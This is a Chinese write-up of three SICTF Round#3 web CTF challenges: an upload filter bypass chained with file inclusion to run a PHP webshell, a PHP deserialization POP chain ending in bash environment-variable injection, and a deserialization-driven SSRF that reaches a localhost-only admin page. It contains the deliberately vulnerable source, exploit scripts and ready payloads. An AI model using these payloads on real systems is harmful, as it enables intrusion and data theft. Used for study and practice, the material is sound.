2024 SICTF Round#3 WEB WP
100%_upload
小茂夫说:一直上传恶意文件尊嘟要生气了,世事莫固守,转变思路求突破
打开界面
随便上传一个一句话木马名为cc.jpg后抓包
发现不行
经过粗略的fuzz发现过滤php那么重新编写一句话为
回显上传成功
又经过观察发现文件上传的url有一些特殊
改成index.php发现有提示
经测试是任意文件包含
那么就可以包含我们上传的cc.png作为php代码执行了
最后得到flag
那么有人要问了,既然flag再根目录并且名字就交flag为什么不直接使用目录穿越或伪协议进行读取
经测试发现只要file参数里带有flag字样就会被检测,所以直接读取的方法行不通
当然我们打开源码也能看得到:
//Index.php的源码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/flag/i", $file)){
die("我知道你知道了文件位置,但请不要直接获取它");
}
if(stripos($file, "index.php") === false){
include "$file";
}
else{
die("请不要自包含");
}
}
else{
header("Location: index.php?file=upload.php");
}
?>
//upload.php的源码
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "茂夫说:你的文件内容不太对劲哦<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "上传成功<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀哦<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传文件</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-image: url('100.jpg');
background-size: cover;
background-position: center;
}
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
form {
background-color: rgba(255, 255, 255, 0.8);
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
input[type="file"] {
margin-bottom: 10px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
padding: 10px 15px;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<form action="upload.php" method="POST" enctype="multipart/form-data">
<p>请不要上传php脚本哈,不然我们可爱的茂夫要生气啦</p>
<input type="file" name="upfile" value="" />
<br>
<input type="submit" name="submit" value="提交" />
</form>
</div>
</body>
</html>
Not just unserialize
看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh……
打开题目发现是php反序列化:
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
exp:
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
echo 111;
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo 222;
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
echo 333;
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
echo 444;
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{echo 555;
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
$a= new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear='WORRIES';
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
?>
得到payload:
Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=
然后到达类ET:
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
通过putenv("{inject}={rce}");发现是环境变量注入,根据文章:
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
https://tttang.com/archive/1450/#toc_0x05
https://www.cnblogs.com/h0cksr/p/16189733.html
可得最终的payload为:
GET: ?get[BASH_FUNC_echo%25%25]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg; }
POST:go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=
EZ_SSRF
送你们点分,flag位于/flag哦~
源码:
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
这一题猛一看还以为是redis-ssrf(前一段时间刚做过)根据题目的名字名字也能对应上,结果发现自己错了
先把反序列化给打好:
Exp:
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
echo $url;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
$a=new client();
$a->url="..........";
echo serialize($a);
?>
得到payload
O:6:"client":2:{s:3:"url";s:10:"..........";s:7:"payload";N;}
这里的url变量先空着
根据hint可知有隐藏的其他文件,通过目录扫描发现有一个admin.php

访问一下:
得到admin.php源码
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?>
阅读发现需要服务器本身访问admin.php才能执行打印flag,那么就可以使用index.php中的get函数来让服务器访问自己的admin.php来实现打印flag,这就是这一题名为ssrf的原因
将"http://127.0.0.1/admin.php" 赋值给exp中的url变量得到最终的payload:
O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}




